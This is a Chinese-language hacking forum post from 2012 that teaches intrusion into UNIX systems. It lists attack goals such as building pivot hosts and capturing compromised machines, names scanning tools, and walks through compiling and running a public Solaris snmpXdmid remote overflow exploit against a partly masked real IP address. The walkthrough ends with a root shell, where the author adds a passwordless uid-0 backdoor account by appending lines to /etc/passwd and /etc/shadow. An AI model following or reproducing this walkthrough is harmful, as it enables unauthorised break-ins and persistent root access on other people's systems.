入侵UNIX应该学习的思路

[复制链接]
查看234 | 回复0 | 2012-4-1 19:21:50 | 显示全部楼层 |阅读模式
一:基本知识
1:常见UNIX版本:

SCOUNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD,386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,MksToolkit,NetNSD,O游戏/I,SystemVUnix,Unicos,Unixware...

 
2:简单介绍几个

sunos&solarisSUN本来想用solaris取代sunos,不过在用户的要求下,到目前为止,还是维持两者并存的政策;

Freebsd是著名的BSD-UNIX的一的继承者,是UNIX众多分支中相当稳定的一个,很多ISP均使用运行Freebsd;

Linux是一个面对PC机个人用户的自由廉价的UNIX产品(其硬件平台是Intel系列的CPU),实际上众多的网络管理员真正使用的是Linux。

 
3:UNIX操作系统的特点

(1)多用户和多任务;(2)可移植性;(3)树行结构的文件系统;(4)I/O重定向技术和管道技术;(5)丰富的实用程序;(6)每个用户都有电子邮件。

 
4:尤为突出的优点

(1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大的数据库支持功能;(5)伸缩性强。
 
二:入侵目的
1:学习UNIX,熟悉内部操作,整体配置...

2:做跳板或以此捕捉更多UNIX肉鸡;

3:越权得到某些正常请求下得不到的东西;

4:攻击破坏或以此作为利器来破坏其他系统;

5:更多......
 
三:入侵方法
1:寻找目标
工具:supperscan,流光,LANguardNetworkScanner2.0或者其他,凭个人喜好选用

supperscan:扫描23,79端口,注意含%,#,&...主机,这些就是UNIX;

LANguard..作简单设置,即可开始,判断对方操作系统功能乃同类软件中的精品,直观准确;

流光:利用高级扫描,选telnet,PRC,POP3,FTP,Finger即可。

其他方法一样...

(说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息,请注意识别)
2:开始入侵
(1)溢出(所有关于UNIX的溢出,都需要在一个UNIX/Linux的环境下进行编译)

A:远程溢出

溢出?呵呵,太多了!随便说几个:freebsd远程溢出,bind远程溢出,SunSolaris5.7/5.8Sparc远程溢出,redhat6.xrpcstatus远程溢出...自己去一一了解吧,在这里我简单说两个例子:

a1:考虑到很多朋友使用windows,所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》(地址:http://www.itser.com/ez/.bbs/top...;topic=25&show=),因为这个溢出程序有已经编译好了可以直接在windows下使用;

a2unSolaris5.7Sparc远程溢出

搜索...终于让我找到了一台sunos5.7,上我一台sunos5.8

telnet66.*.146.48----->>这是我的!

SunOS5.8
login:ply

Password:

Lastlogin:TueApr2303:55:09from39448.ddn.xaonli

SunMicrosystemsInc.SunOS5.8GenericFebruary2000

$tmp/.sh----->>当时溢出时做的处理!

#ls

bindataetcinitrdmntprocsbinusr

bootdevhomelibmiscoptroottmpvar

xfnskip

#cat>snmp.c
.......----->>太长了,省略...自己去找!
#gcc-osnmpsnmp.c----->>用gcc编译

snmp.c:Infunction****main':

snmp.c:181:warning:passingarg3ofpointertofunctionfromincompatiblepointertype

snmp.c:181:warning:passingarg4ofpointertofunctionfromincompatiblepointertype

snmp.c:181:warning:passingarg5ofpointertofunctionfromincompatiblepointertype

#ls

bindataetcinitrdmntprocsbinsnmpusr

bootdevhomelibmiscoptrootsnmp.ctmpvar

#./snmp

copyrightLASTSTAGEOFDELIRIUMmar2001poland//lsd-pl.net/

snmpXdmidforsolaris2.72.8sparc
usage:./saddress[-pport]-v7|8

#./snmp216.*.45.63-v7---->开始溢出!!

DELIRIUMmar2001poland//lsd-pl.net/

snmpXdmidforsolaris2.72.8sparc
adr=0x000c8f68timeout=30port=928connected!

sent!

SunOSapp1-stg-bk-sh5.7Generic_106541-09sun4usparcSUNW,Ultra-80

id

uid=0(root)gid=0(root)----->>是root哦!

echo"ply::0:0::/:/bin/bash">>/etc/passwd----->>加个用户先!

echo"ply::::::::">>/etc/shadow

...----->>还想干什么就继续吧!

*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则